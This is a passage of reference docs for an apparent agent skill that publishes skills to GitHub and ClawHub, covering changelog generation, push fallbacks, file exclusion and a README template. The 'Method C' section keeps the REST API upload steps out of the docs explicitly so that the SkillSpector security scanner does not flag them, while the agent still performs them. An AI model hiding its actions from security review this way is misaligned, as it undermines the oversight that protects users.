|\n|--------------|----------|-------|\n| New file in references/ | Added | \"Added reference document\" |\n| SKILL.md rules added | Added | \"Added new rules: \" |\n| SKILL.md rules removed | Breaking Changes | \"Removed \" |\n| SKILL.md workflow steps changed | Changed | \"Updated workflow: \" |\n| README.md/README.en.md | Changed | \"Updated documentation\" |\n| .github/ templates | Added | \"Added community issue/PR templates\" |\n| plugin.json version only | Skip | No entry needed |\n\n### Step 3: Generate CHANGELOG Entry\n\n**Template**:\n\n```markdown\n## [X.Y.Z] - YYYY-MM-DD\n\n### Breaking Changes\n- **[scope]**: Description of breaking change\n\n### Added\n- **[scope]**: Description of new feature\n- **[scope]**: Description of new feature\n\n### Changed\n- **[scope]**: Description of change\n- **[scope]**: Description of change\n\n### Fixed\n- **[scope]**: Description of fix\n\n### Removed\n- **[scope]**: Description of removal\n```\n\n**Rules**:\n1. **Always prepend** the new entry at the top of CHANGELOG.md (after the header)\n2. **Date format**: `YYYY-MM-DD` (ISO 8601)\n3. **Version format**: `[X.Y.Z]` (brackets, semver)\n4. **Scope is optional** but recommended for skills with multiple reference files\n5. **Each entry should be a complete sentence** starting with a verb (Added/Changed/Fixed/Removed)\n6. **Skip empty categories** — don't include `### Fixed` if there are no fixes\n7. **Breaking Changes always first** — users must see them immediately\n\n### Step 4: Merge with Existing CHANGELOG\n\n```bash\n# Read existing CHANGELOG\nHEAD_LINES=$(head -5 CHANGELOG.md)\n\n# Prepend new entry\n# New entry goes after the header line \"# Changelog\" and the description\n```\n\n**Example result**:\n\n```markdown\n# Changelog\n\nAll notable changes to this project will be documented in this file.\n\n## [7.1.0] - 2026-06-11\n\n### Added\n- **skill**: provenance block (quote + HTML comment) for source identification\n- **skill**: version sync rule — SKILL.md → plugin.json → CHANGELOG.md consistency check\n- **community**: bug_report.yml, feature_request.yml, question.yml, config.yml, pull_request_template.md\n\n### Changed\n- **docs**: README rewritten as product landing page with 21-chapter structure\n- **docs**: bilingual strategy changed from inline `---` separator to independent README.en.md file\n\n## [7.0.0] - 2026-06-11\n\n### Breaking Changes\n- **design**: 24 Layout Recipes replace 10 layout tags\n- **typography**: three-tier font system replaces flat sizing\n\n### Added\n...\n```\n\n---\n\n## Smart Entry Generation from File Analysis\n\nWhen git log is unavailable or insufficient, generate entries by analyzing actual file diffs.\n\n### SKILL.md Diff Analysis\n\n```bash\n# Extract added/removed rules\ngit diff origin/main..HEAD -- SKILL.md | grep \"^+\" | grep \"^-.*Rule\\|^+.*Rule\"\n```\n\n**Rule change patterns**:\n\n| Pattern | Category | Entry |\n|---------|----------|-------|\n| New `## Rules` subsection | Added | \"Added rules\" |\n| New numbered rule | Added | \"Added rule: \" |\n| Removed numbered rule | Removed | \"Removed rule: \" |\n| Changed rule text | Changed | \"Updated rule: \" |\n| New Mode Detection | Added | \"Added mode\" |\n| New Step in workflow | Added | \"Added Step : \" |\n\n### references/ Diff Analysis\n\n```bash\n# New reference files\ngit diff --diff-filter=A --name-only origin/main..HEAD -- 'references/*'\n\n# Modified reference files\ngit diff --diff-filter=M --name-only origin/main..HEAD -- 'references/*'\n```\n\n**Entry generation**:\n\n| Change | Category | Entry |\n|--------|----------|-------|\n| New file `references/X.md` | Added | \"Added reference document\" |\n| Significant content change (>20 lines) | Changed | \"Updated : \" |\n| Minor content change (<20 lines) | Changed | \"Minor updates to \" |\n\n### README Diff Analysis\n\n| Change | Category | Entry |\n|--------|----------|-------|\n| New section added | Changed | \"Added
section to README\" |\n| Section rewritten | Changed | \"Rewrote
section in README\" |\n| New README.en.md created | Added | \"Added English documentation (README.en.md)\" |\n| Badge changes | Changed | \"Updated README badges\" |\n\n---\n\n## Release Notes Generation\n\n### From CHANGELOG to Release Notes\n\n**Release Notes are a subset of CHANGELOG**, not a copy. Rules:\n\n1. **Only include user-facing changes** — skip internal refactoring\n2. **Max 8 items** — if more, group related items\n3. **Use Highlights + Validation format** (see publish-procedures.md)\n4. **Language**: English for Release Notes\n\n**Conversion table**:\n\n| CHANGELOG Category | Release Notes Treatment |\n|-------------------|------------------------|\n| Breaking Changes | Always include in Highlights, prefix with \"BREAKING:\" |\n| Added | Include in Highlights |\n| Changed | Include only if user-visible |\n| Fixed | Include only if user-reported |\n| Removed | Include only if user-visible |\n\n### Example Conversion\n\n**CHANGELOG**:\n```markdown\n## [7.1.0] - 2026-06-11\n\n### Added\n- **skill**: provenance block for source identification\n- **skill**: version sync rule\n- **community**: issue/PR templates\n\n### Changed\n- **docs**: README rewritten as product landing page\n- **docs**: bilingual strategy changed to independent files\n```\n\n**Release Notes**:\n```markdown\n## Highlights\n\n- Added provenance block for skill source identification and traceability.\n- Added community issue/PR templates under `.github/`.\n- Rewrote README as product landing page with 21-chapter structure.\n- Changed bilingual strategy from inline separator to independent README.en.md file.\n\n## Validation\n\n- Version sync verified across SKILL.md, plugin.json, and CHANGELOG.md.\n- Security audit passed: no credentials, no local paths, no dangerous commands.\n```\n\n---\n\n## Workflow Integration\n\nThe CHANGELOG generation is integrated into the update workflow as follows:\n\n```\nPhase 2B: Update & Iteration\n │\n ├── Step 1-4: Change detection + version bump (change-detection.md)\n │\n ├── Step 5: Version sync (SKILL.md → plugin.json → CHANGELOG.md)\n │\n ├── Step 6: Auto-generate CHANGELOG entry ← THIS FILE\n │ ├── Extract git log\n │ ├── Parse conventional commits (or analyze file diffs)\n │ ├── Generate entry with proper categories\n │ └── Prepend to CHANGELOG.md\n │\n ├── Step 7: Security audit\n │\n ├── Step 8: Push changes\n │\n ├── Step 9: Create/update Release (use Release Notes from CHANGELOG)\n │\n └── Step 10: Update ClawHub version\n```\n\nFile v5.22.1:references/publish-procedures.md\n\n# Publish Procedures Reference\n\nComplete procedures for publishing to GitHub and ClawHub, including API details, fallback methods, and troubleshooting.\n\n**When to read**: When entering Phase 3 (push and publish). Read this file in full before executing any publish commands.\n\n---\n\n## GitHub Publishing\n\n### Push Fallback Chain\n\n```\ngit push（优先，最快）\n → 失败 → gh CLI（次优，自动认证）\n → 失败 → REST API 逐文件上传（最后手段，最慢）\n```\n\n### Method A: git push (preferred)\n\n```bash\n# Initialize (first time)\ncd \ngit init\ngit config user.name \"\"\ngit config user.email \"@users.noreply.github.com\"\ngit add .\ngit commit -m \"feat: initial release vX.Y.Z\"\ngit remote add origin https://github.com//.git\ngit branch -M main\ngit push -u origin main\n```\n\n**Git config notes**:\n- Use repo-level config (`git config` without `--global`) to avoid polluting global settings\n- Use `@users.noreply.github.com` email to protect privacy\n- Author name from user confirmation\n\n### Method B: gh CLI (fallback when git push fails)\n\nWhen `git push` times out (443 connection failure), try `gh` CLI first:\n\n```bash\n# Check if gh CLI is available\ngh --version\n\n# Create repository (first time)\ngh repo create / --public --description \"\"\n\n# Push files via git (gh handles auth)\ngit push -u origin main\n\n# If git push still fails, use gh api for file operations\ngh api repos///contents/ \\\n --method PUT \\\n -f message=\"Upload \" \\\n -f branch=\"main\"\n\n# Create Release\ngh release create vX.Y.Z \\\n --repo / \\\n --title \" vX.Y.Z · \" \\\n --notes \"\"\n```\n\n**gh CLI advantages over REST API**:\n- Automatic authentication (no token extraction needed)\n- Handles rate limiting transparently\n- Supports `gh repo create` one-command repo setup\n- Supports `gh release create` one-command release\n- Better error messages\n\n**gh CLI availability check**:\n```bash\n# Check if gh is installed\ngh --version 2>/dev/null || echo \"gh CLI not available\"\n\n# Check if gh is authenticated\ngh auth status 2>/dev/null || echo \"gh CLI not authenticated\"\n```\n\nIf gh CLI is not available or not authenticated, inform the user to install gh CLI or retry git push later.\n\n### Method C: GitHub REST API 逐文件降级 (v5.22.1 新增，Level 3 fallback)\n\n> **重要约束**（v5.22.1，源自 SKILL.md 规则 25\"安全敏感方案不文档化\"）：本节只描述 Level 3 的**存在性**和**触发条件**，不文档化具体的 API 调用链、编码方式、多步 API 编排。详细实现按规则 25 约束执行，避免触发 SkillSpector 的 MCP Tool Poisoning / Tool Parameter Abuse finding。\n\n**触发条件**：\n- Level 1 (git push) 失败\n- Level 2 (gh CLI) 失败或不可用\n- 网络持续不可用，但需要完成 GitHub 同步\n\n**执行原则**：\n1. **优先告知用户**：Level 1 和 Level 2 都失败时，告知用户\"网络问题导致 git push 和 gh CLI 均失败，将尝试 Level 3 REST API 逐文件降级方案\"\n2. **使用 GitHub 官方 API 机制**：通过 GitHub REST API 逐文件上传，具体 API 端点和编码方式按 GitHub 官方文档执行（不文档化在此 skill 中）\n3. **失败处理**：如果 Level 3 也失败，告知用户网络问题，建议稍后重试或手动推送，并按 SKILL.md 规则 27 记录待补推版本\n4. **后续验证**：Level 3 成功后，建议用户在 GitHub 网页端验证文件完整性\n\n**设计原则**：\n- Level 3 的存在性可以文档化（让用户知道有降级方案）\n- Level 3 的具体 API 实现不文档化（避免 SkillSpector 标记）\n- 这是\"声明即透明\"与\"安全敏感方案不文档化\"的平衡\n\n### Token Source\n\nToken MUST come from the GitHub credential environment variable. Do NOT extract tokens from git remotes or other project files.\n\n**TRAE session cache handling** (v5.17 — OS persistent credential-store reading removed, comply with SkillSpector Credential Access): TRAE shell sessions cache environment variable snapshots. After a user updates the GitHub credential in user environment variables, the session does NOT auto-sync, so reading the env var directly may return a stale value causing 401. **v5.17 behavioral change**: We no longer read the OS persistent credential store to refresh this cache (that behavior was flagged by SkillSpector as Context-Inappropriate Capability — Credential Access from persistent OS storage exceeds least-privilege). Instead, on 401: inform the user to 1) confirm the credential is updated in user environment variables, 2) restart the TRAE session to refresh the env var cache, 3) retry the publish.\n\nThis applies to all credential env vars (GitHub, SkillHub, ClawHub, Feishu, IMA).\n\n### Windows PowerShell Compatibility\n\n**Forbidden in PowerShell 5**:\n- `$(cat <<'EOF' ... EOF)` — heredoc not supported, `<<` parsed as redirect\n- `Invoke-RestMethod` with Chinese JSON body — causes `_x000A_` corruption\n- Double-quoted string interpolation with `?` — `\"?name=\"` gets eaten by PS variable parsing\n\n**Workarounds**:\n- Single-line commit messages; detailed notes in GitHub Release\n- Use Python `urllib.request` for Chinese JSON bodies\n- Use `+` string concatenation for URLs with `?` and `&`\n\n---\n\n## GitHub Release Notes Template\n\n### Title Format\n\n```\n vX.Y.Z · \n```\n\n**Examples**:\n- `Guizang PPT Skill v1.1.0 · Swiss style and community-ready release`\n- `WX Peitu v7.0.0 · Design system overhaul with 24 recipes`\n- `Skill Publisher v2.0.0 · Product-landing-page README and community templates`\n\n### Body Format (Highlights + Validation)\n\n```markdown\n## Highlights\n\n- Added .\n- Added .\n- Changed .\n- Fixed .\n\n## Validation\n\n- \n- \n```\n\n### Release Notes Writing Rules\n\n1. **Highlights**：用 `- ` 列表，每条一个完整句子，描述\"添加/变更/修复了什么\"\n2. **Validation**：说明如何验证这个版本的变更\n3. **语言**：纯英文（Release 面向国际用户）\n4. **不分类**：不需要 Breaking/Feature/Fix 分区，5-8 条要点即可\n5. **简洁**：Release Notes 不是 CHANGELOG，不追求穷举\n\n### Release Assets\n\n**默认不上传 Assets**（zip/tar 包）。用户通过以下方式安装：\n- `git clone https://github.com//.git`\n- `npx skills add /`\n- `clawhub install `\n\n**仅在用户明确要求时**才打包上传。打包命令：\n\n```bash\n# PowerShell\nCompress-Archive -Path SKILL.md, README.md, README.en.md, CHANGELOG.md, LICENSE, .claude-plugin/, references/, .github/ -DestinationPath -vX.Y.Z.zip\n```\n\n---\n\n## GitHub Release Update (Workflow B)\n\n### When to Update vs Create New\n\n| Scenario | Action |\n|----------|--------|\n| MAJOR or MINOR bump | Create new Release |\n| PATCH bump, same day as last Release | Update existing Release Notes |\n| PATCH bump, different day | Create new Release |\n\n### Update Existing Release\n\n```bash\n# Get the latest release ID\ngh api repos///releases/latest --jq '.id'\n\n# Update Release Notes\ngh api repos///releases/ \\\n --method PATCH \\\n -f body=\"\"\n\n# Or via REST API\nPATCH https://api.github.com/repos///releases/\nHeaders: Authorization: token \nBody: {\"body\": \"\"}\n```\n\n### Update Release Notes Format\n\nWhen appending to an existing Release, add new items to the Highlights section:\n\n```markdown\n## Highlights\n\n- Added provenance block for skill source identification. (v7.0.1)\n- Fixed palette hex values in README.en.md. (v7.0.1)\n- Rewrote README as product landing page. (v7.0.0)\n\n## Validation\n\n- Version sync verified across SKILL.md, plugin.json, and CHANGELOG.md.\n- Security audit passed.\n```\n\nEach appended item includes the version tag in parentheses for traceability.\n\n---\n\n## ClawHub Publishing\n\n### Pre-Publish Version Check (v5.0 新增)\n\n**发布前必须查重版本号**，否则会报 \"Version already exists\" 错误：\n\n```bash\n# 查看已发布版本\nclawhub inspect \n\n# 解析输出中的 versions 字段，确认待发布版本号不在列表中\n# 如果重复，递增 PATCH 版本号\n```\n\n**版本号查重流程**：\n\n1. 运行 `clawhub inspect ` 获取已发布版本列表\n2. 对比待发布版本号\n3. 如果重复 → 递增 PATCH（如 3.0.0 → 3.0.1）→ 更新 SKILL.md / plugin.json / CHANGELOG.md → 重新查重\n4. 如果唯一 → 继续发布\n\n**故障案例（2026-07）**：web-to-fim 技能发布 v3.0.0 后，修复文档后再次发布 v3.0.0 被拒，报错 \"Version already exists\"。递增到 v3.0.1 后发布成功。\n\n### CLI Commands\n\n```bash\n# Verify login\nclawhub whoami\n\n# Publish (v5.18 现实校准：CLI v0.9.0 实际只支持 `clawhub publish`，文档的 `clawhub skill publish` 是未来版本方向)\nclawhub publish \\\n --slug \\\n --name \"\" \\\n --version \\\n --tags \",\" \\\n --changelog \"\"\n```\n\n### Available Options\n\n| Option | Required | Description |\n|--------|----------|-------------|\n| `path` | Yes | Skill folder path |\n| `--slug` | No | Skill slug (must be globally unique) |\n| `--name` | No | Display name |\n| `--version` | **Yes** | Version (semver, REQUIRED) |\n| `--fork-of` | No | Mark as fork of existing skill |\n| `--changelog` | No | Changelog text |\n| `--tags` | No | Comma-separated tags (default: \"latest\") |\n\n### Important Notes\n\n1. **No `--token` option** — login via `clawhub login --token --no-browser` first\n2. **No `--license` option** — read from plugin.json\n3. **`--version` is REQUIRED** — CLI will fail without it\n4. **Slug cannot be changed after publish** — can only publish new versions\n5. **Protected namespaces**: `clawhub-` prefix and `-clawhub` suffix are protected\n6. **Also avoid**: `openclaw` keyword in slug\n\n### Pre-Publish File Exclusion (v5.20 新增，v5.20.1 强化 --name 强制要求)\n\n**ClawHub 官方禁止辅助文档文件**，发布前必须用临时副本方式剔除以下文件（源自 `skill-creator` 官方指导 skill 明确声明 \"Do NOT create extraneous documentation or auxiliary files, including: README.md, INSTALLATION_GUIDE.md, QUICK_REFERENCE.md, CHANGELOG.md, etc.\"）：\n\n```bash\n# 1. 创建临时副本（v5.20.1 关键：目录名必须用 -clawhub-copy 格式，禁止用 _clawhub_temp_）\n# 原因：ClawHub 未指定 --name 时会从目录名推断 displayName，含 temp/copy/_ 的目录名会污染 displayName\nrobocopy -clawhub-copy /E /XD .git __pycache__ _backup /XF *.pyc\n\n# 2. 在临时副本中剔除 ClawHub 禁止的文件\ncd -clawhub-copy\n# 剔除辅助文档（ClawHub 官方禁止）\nRemove-Item README.md -ErrorAction SilentlyContinue\nRemove-Item README.en.md -ErrorAction SilentlyContinue\nRemove-Item CHANGELOG.md -ErrorAction SilentlyContinue\n# 剔除 dotfile 和 IDE 配置\nRemove-Item .gitignore -ErrorAction SilentlyContinue\nRemove-Item .github -Recurse -Force -ErrorAction SilentlyContinue\n\n# 3. 从临时副本发布（v5.20.1 强制：必须带 --name 参数，否则 displayName 会被目录名污染）\nclawhub publish -clawhub-copy \\\n --slug \\\n --name \"\" \\\n --version \\\n --tags \",\" \\\n --changelog \"\"\n\n# 4. 发布后立即清理临时副本\nRemove-Item -clawhub-copy -Recurse -Force\n```\n\n**保留的文件**（ClawHub 支持）：\n- `SKILL.md` — 唯一的内容载体\n- `LICENSE` — 许可证\n- `.claude-plugin/plugin.json` — Claude Code 元数据\n- `.clawhubignore` — ClawHub 发布专用排除层\n- `references/` — 参考文档子目录\n\n**剔除的文件**（ClawHub 禁止或不支持）：\n- `README.md` / `README.en.md` — ClawHub 官方明确禁止辅助文档\n- `CHANGELOG.md` — 同上，版本说明用 `--changelog` 参数传递\n- `.gitignore` — dotfile，ClawHub 不需要\n- `.github/` — GitHub 社区模板，ClawHub 不需要\n\n**⚠️ --name 参数强制要求（v5.20.1 新增，源自 2026-07-19 displayName 污染事故）**：\n- **必须显式带 `--name \"\"` 参数**，不能省略\n- **根因**：ClawHub 在未指定 `--name` 时会从**临时副本目录名**推断 displayName（下划线转空格 + 首字母大写）。临时副本目录名 `_clawhub_temp_skill_publisher` 被推断成 \"Clawhub Temp Skill Publisher\"，污染了原本应为 \"Skill Publisher 技能发布\" 的 displayName\n- **临时副本目录名规范**：必须用 `-clawhub-copy` 格式（如 `skill-publisher-ai-clawhub-copy`），禁止用 `_clawhub_temp_` / `_skillhub_temp_` 这类含 temp 的命名\n- **事故案例**：skill-publisher v5.20.0 发布时临时副本目录名 `_clawhub_temp_skill_publisher`，未带 `--name` 参数，导致 ClawHub 网页显示名称变成 \"Clawhub Temp Skill Publisher\"。v5.20.1 修复：带 `--name \"Skill Publisher 技能发布\"` + 目录名改为 `skill-publisher-ai-clawhub-copy`\n\n**重要**：不要手写或覆盖 `skill-card.md`，该文件由 ClawHub 平台自动生成（含英文 Use Case / Risks / Skill Output 段落）。\n\n### Slug Collision Prevention\n\nBefore publishing, always check:\n\n```bash\nclawhub inspect \n```\n\nIf slug is taken:\n1. Choose alternative slug (e.g., `skill-forge` → `skill-forge-ai`)\n2. Update ALL references:\n - README.md Badge URL\n - README.en.md Badge URL\n - `clawhub install` command in both READMEs\n3. Update plugin.json if needed\n\n### Cross-Platform Naming Strategy\n\n1. Choose GitHub repo name first (no restrictions)\n2. Check ClawHub slug availability (avoid protected namespaces)\n3. If names differ, add 1-line explanation in README:\n `本项目在 GitHub 仓库为 ；在 ClawHub 市场注册名为 `\n4. `plugin.json` name = GitHub repo name; `--slug` overrides for ClawHub\n\n---\n\n## Troubleshooting\n\n### git push timeout (443)\n\n**Symptom**: `Failed to connect to github.com port 443 after 21xxx ms`\n\n**Fix**: Switch to GitHub REST API (Method B above)\n\n### ClawHub \"Slug is already taken\"\n\n**Symptom**: `Uncaught ConvexError: Slug is already taken`\n\n**Fix**: Choose alternative slug, update all references, re-publish\n\n### PowerShell heredoc error\n\n**Symptom**: `Missing file specification after redirection operator`\n\n**Fix**: Use single-line commit message, put details in GitHub Release\n\n### PowerShell `?` in URL string\n\n**Symptom**: URL gets truncated when using `\"$baseUrl?name=$name\"`\n\n**Fix**: Use `+` concatenation: `$baseUrl + \"?name=\" + $name`\n\n### Invoke-RestMethod Chinese corruption\n\n**Symptom**: `_x000A_` appearing in Release notes\n\n**Fix**: Use Python `urllib.request` with `json.dumps(ensure_ascii=False).encode(\"utf-8\")`\n\n### ClawHub SSL certificate error\n\n**Symptom**: `api.clawhub.io` returns SSL error\n\n**Fix**: Do NOT use HTTP API. Use `clawhub` CLI only.\n\n### GitHub API upload ignores .gitignore\n\n**Symptom**: Files in .gitignore still appear in GitHub repo\n\n**Fix**: Implement own exclusion logic when using REST API. Filter files using the same criteria as security audit before uploading.\n\n### ClawHub \"skill-card.md is auto-generated\" (v5.0 新增)\n\n**Symptom**: `clawhub publish` fails with \"skill-card.md is auto-generated, cannot publish\"\n\n**Fix**: ⚠️ **删除前警告用户**（v5.17 新增，源自 SkillSpector Missing User Warnings finding 85%）：删除 `skill-card.md` 前必须告知用户\"将删除本地 `skill-card.md`（ClawHub 自动生成文件，删除后不影响功能，发布时 ClawHub 会重新生成）\"，并获得用户确认后再删除。ClawHub auto-generates this file, manual version is rejected.\n\n### ClawHub \"Version already exists\" (v5.0 新增)\n\n**Symptom**: `clawhub skill publish --version 3.0.0` fails with \"Version already exists\"\n\n**Fix**: Run `clawhub inspect ` to check published versions. Increment PATCH version (3.0.0 → 3.0.1), update version in SKILL.md / plugin.json / CHANGELOG.md, re-publish.\n\n### ClawHub Short summary not updated (v5.0 新增)\n\n**Symptom**: Updated frontmatter `description` in SKILL.md, but ClawHub page \"Short summary\" still shows old text\n\n**Fix**: ClawHub uses the `description` from the **first published version**. To update Short summary, you must:\n1. Update `description` in SKILL.md frontmatter\n2. Increment version number (PATCH or MINOR)\n3. Re-publish with new version\n\nSimply editing SKILL.md without re-publishing does NOT update Short summary.\n\n### Python __pycache__ packaged into distribution (v5.0 新增)\n\n**Symptom**: `__pycache__/` directory or `*.pyc` files appear in ClawHub distribution\n\n**Fix**: Add to `.gitignore`:\n```\n__pycache__/\n*.pyc\n*.pyo\n```\nRun `clawhub inspect ` after publish to verify no `.pyc` files in distribution.\n\n### ClawHub 多版本共存（v5.7 新增）\n\n**Symptom**: ClawHub 页面同时显示多个版本（如 v5.4.0 和 v5.5.0 并存），用户疑惑为什么旧版本还在\n\n**Explanation**: 这是 ClawHub 平台的正常行为，不是 bug。同一 slug 可以有多个版本共存：\n- 新版本发布后自动成为 `latest`\n- 旧版本无法删除，会一直保留\n- 用户安装时默认获取 `latest` 版本\n- `clawhub inspect ` 的 versions 字段会列出所有已发布版本\n\n**Action**: 无需处理。如果用户询问，解释这是平台行为，最新版本已自动设为 `latest`。\n\n### IMA/Feishu credentials leaked in reference docs (v5.0 新增)\n\n**Symptom**: Security scan finds `cli_your_app_id_here...` or `IMA_OPENAPI_APIKEY = \"your_client_id_here\"` in reference documents\n\n**Fix**: Replace all real credential values with placeholders:\n- `your_client_id_here` / `your_api_key_here` (IMA)\n- `your_app_id_here` / `your_app_secret_here` (Feishu)\n- `your_github_token_here` (GitHub)\n\nNever hardcode credentials in any file that will be published.\n\n---\n\n## Update Workflow (for existing repos)\n\n### Updating files on GitHub\n\n```bash\n# Method 1: git push (preferred)\ngit add \ngit commit -m \"fix: description of change\"\ngit push\n\n# Method 2: REST API (when git push fails)\n# GET current sha → PUT with new content + sha\n```\n\n### Publishing new version on ClawHub\n\n```bash\n# Update version in SKILL.md, plugin.json, CHANGELOG.md\n# Then re-publish\nclawhub publish --slug --version --changelog \"\"\n```\n\n**Note**: Old versions on ClawHub cannot be deleted. New version automatically becomes `latest`.\n\nFile v5.22.1:references/publishing-guide.md\n\n# Publishing Guide\r\n\r\n**When to read**: When entering Phase 3 (publishing). Read this file in full before executing any publish commands.\r\n\r\n---\r\n\r\n## Part 1: Repo Structure\r\n\r\nComplete templates for generating standard skill repo structure files.\r\n\r\n---\r\n\r\n### Standard Directory Structure\r\n\r\n```\r\n/\r\n├── SKILL.md # Agent 工作流定义（已有）\r\n├── README.md # 中文主文档（生成）\r\n├── README.en.md # 英文文档（生成，独立文件）\r\n├── CHANGELOG.md # 语义化版本记录（生成）\r\n├── LICENSE # MIT-0（生成）\r\n├── .gitignore # 排除规则（生成）\r\n├── .claude-plugin/\r\n│ └── plugin.json # Claude Code 元数据（生成）\r\n├── .github/ # 社区模板（生成）\r\n│ ├── ISSUE_TEMPLATE/\r\n│ │ ├── bug_report.yml\r\n│ │ ├── feature_request.yml\r\n│ │ ├── question.yml\r\n│ │ └── config.yml\r\n│ └── pull_request_template.md\r\n└── references/ # 详细文档（已有）\r\n```\r\n\r\n### Cross-Platform File Differentiation Matrix (v5.20 新增，强制)\r\n\r\n**三平台对文件类型的要求不同，发布时必须按平台差异化处理**。源自 2026-07-17 三平台头部 skill 调研：ClawHub 官方禁止 README.md / CHANGELOG.md 等辅助文档（`skill-creator` 官方指导 skill 明确声明），SkillHub 拒绝无扩展名文件和 dotfile。\r\n\r\n| 文件/目录 | GitHub | ClawHub | SkillHub |\r\n|-----------|--------|---------|----------|\r\n| SKILL.md | ✅ 保留 | ✅ 保留 | ✅ 保留 |\r\n| README.md（中文主文档）| ✅ 保留 | ❌ **剔除** | ⚠️ 可选（不流行）|\r\n| README.en.md（英文文档）| ✅ 保留 | ❌ **剔除** | ❌ 剔除 |\r\n| CHANGELOG.md | ✅ 保留 | ❌ **剔除** | ❌ 剔除 |\r\n| LICENSE（无扩展名）| ✅ 保留 | ✅ 保留 | ❌ **剔除** |\r\n| .claude-plugin/ | ✅ 保留 | ✅ 保留 | ❌ **剔除** |\r\n| .github/ | ✅ 保留 | ❌ 剔除 | ❌ 剔除 |\r\n| .clawhubignore | ✅ 保留 | ✅ 保留 | ❌ 剔除 |\r\n| .gitignore | ✅ 保留 | ❌ 剔除 | ❌ 剔除 |\r\n| references/ | ✅ 保留 | ✅ 保留 | ✅ 保留 |\r\n\r\n**执行策略**：ClawHub 和 SkillHub 都用临时副本方式发布（在副本中剔除该平台不支持的文件），GitHub 推送保留所有文件。详见 `references/publish-procedures.md` 的 \"Pre-Publish File Exclusion\" 段落。\r\n\r\n**关键约束**：\r\n- ClawHub 只有 SKILL.md 作为唯一内容载体，skill-card.md 由平台自动生成（不要手写或覆盖）。版本说明用 `clawhub publish --changelog` 参数传递\r\n- SkillHub 拒绝无扩展名文件（LICENSE）和 dotfile（.gitignore / .claude-plugin/ / .github/ / .clawhubignore），用临时副本方式发布\r\n\r\n---\r\n\r\n### README.md Template\r\n\r\n> **⚠️ ClawHub 平台禁止 README.md**（v5.20 新增）：以下 README 模板仅用于 GitHub 仓库。ClawHub 发布时必须剔除 README.md / README.en.md（ClawHub 官方只允许 SKILL.md 作为内容载体）。SkillHub 平台 README.md 可选（不流行）。详见上方\"Cross-Platform File Differentiation Matrix\"。\r\n\r\n#### Section Order（中文主文档）\r\n\r\n| # | 章节 | 必选/可选 | 说明 |\r\n|---|------|----------|------|\r\n| 1 | **标题 · 中文副标题 + Badge** | 必选 | 项目名 + 一句话定位 |\r\n| 2 | **导航链接** | 必选 | 替代 TOC，简洁高效 |\r\n| 3 | **金句开篇** | 必选 | 斜体引用，一句话画面感 |\r\n| 4 | **一句话定位 + 否定对比** | 必选 | \"不是X，是Y\"句式 |\r\n| 5 | **效果截图/样图** | 推荐 | 先看效果再决定安装 |\r\n| 6 | **30 秒开始** | 必选 | 一行安装命令 |\r\n| 7 | **核心特性** | 必选 | emoji + 加粗关键词，3-5 条 |\r\n| 8 | **适合 / 不适合** | 必选 | 明确边界，减少误用 |\r\n| 9 | **常见使用场景** | 推荐 | 表格形式 |\r\n| 10 | **使用方法 / 工作流** | 必选 | 步骤或流程图 |\r\n| 11 | **示例请求** | 推荐 | 可直接复制的 prompt |\r\n| 12 | **目录结构** | 必选 | 树形图 + 每行中文注释 |\r\n| 13 | **核心方法论/风格体系** | 可选 | 适用于有模式体系的 Skill |\r\n| 14 | **主题色/配置预设** | 可选 | 表格 + 预览 |\r\n| 15 | **核心设计原则** | 推荐 | 每条附\"为什么\" |\r\n| 16 | **Limitations / 已知限制** | 必选 | 诚实列限制，建立信任 |\r\n| 17 | **起源 / 动机** | 可选 | 个人痛点 + 竞品对比 |\r\n| 18 | **Roadmap** | 可选 | 未来计划 |\r\n| 19 | **FAQ** | 推荐 | 3-5 个常见问题 |\r\n| 20 | **贡献指引** | 推荐 | 链接 CONTRIBUTING.md |\r\n| 21 | **License** | 必选 | `MIT-0 © ` |\r\n\r\n#### Badge Format\r\n\r\n```markdown\r\n[![Stars](https://img.shields.io/github/stars//?style=flat-square)](https://github.com//)\r\n[![许可证](https://img.shields.io/badge/license-MIT--0-green?style=flat-square)](LICENSE)\r\n[![ClawHub](https://img.shields.io/badge/ClawHub--orange?style=flat-square)](https://clawhub.ai/skills/)\r\n[![Skill](https://img.shields.io/badge/Claude%20Code-Skill-blue?style=flat-square)](SKILL.md)\r\n```\r\n\r\n**Badge 规则**：\r\n- 中文 README 用中文标签：`许可证`/`ClawHub`\r\n- 英文 README.en.md 用英文标签：`License`/`ClawHub`\r\n- 统一使用 `flat-square` 风格\r\n\r\n#### 导航链接格式\r\n\r\n```markdown\r\n[看效果](#效果截图) · [装上就能用](#30-秒开始) · [核心机制](#核心特性) · [已知限制](#已知限制) · [License](#license)\r\n```\r\n\r\n#### 金句开篇格式\r\n\r\n```markdown\r\n_「一句话有画面感的描述。」_\r\n```\r\n\r\n**要求**：斜体引用，有画面感，一句话抓住注意力。例如：\r\n- `_「打字。回车。一张能直接发的图。」_`\r\n- `_「说一句话，还你一套 PPT。」_`\r\n\r\n#### 否定对比格式\r\n\r\n```markdown\r\n**项目名**不是[竞品/常见做法]，是[你的差异化定位]。\r\n```\r\n\r\n例如：\r\n- `不是 MidJourney 的提示词调试器，是设计工作流的自动化封装。`\r\n- `不是又一个 Markdown 转 PPT，是从内容到视觉的完整设计系统。`\r\n\r\n#### 适合/不适合格式\r\n\r\n```markdown\r\n## 适合 / 不适合\r\n\r\n✅ **适合**\r\n- 场景1\r\n- 场景2\r\n\r\n❌ **不适合**\r\n- 场景1\r\n- 场景2\r\n```\r\n\r\n#### Limitations 格式\r\n\r\n```markdown\r\n## 已知限制\r\n\r\n- 限制1：具体描述\r\n- 限制2：具体描述\r\n- 限制3：具体描述\r\n```\r\n\r\n**要求**：诚实列出 3-5 条限制，每条具体可操作。不要用\"可能\"、\"也许\"等模糊词。\r\n\r\n#### 示例请求格式\r\n\r\n```markdown\r\n## 示例请求\r\n\r\n```\r\n用户: \"帮我做一张小红书封面，主题是...\"\r\n```\r\n\r\n提供 2-4 个可直接复制的 prompt，覆盖不同使用场景。\r\n\r\n#### 目录结构格式\r\n\r\n```markdown\r\n## 目录结构\r\n\r\n```\r\n/\r\n├── SKILL.md # Agent 工作流定义\r\n├── README.md # 中文文档\r\n├── README.en.md # English docs\r\n├── CHANGELOG.md # 版本记录\r\n├── LICENSE # MIT-0\r\n├── .claude-plugin/\r\n│ └── plugin.json # Claude Code 元数据\r\n├── .github/ # 社区模板\r\n│ └── ISSUE_TEMPLATE/ # Issue 模板\r\n├── references/ # 参考文档\r\n│ ├── workflow.md # 工作流详解\r\n│ └── design-system.md # 设计系统\r\n└── assets/ # 模板和静态资产\r\n```\r\n\r\n**要求**：每行必须有中文注释说明用途。\r\n\r\n### 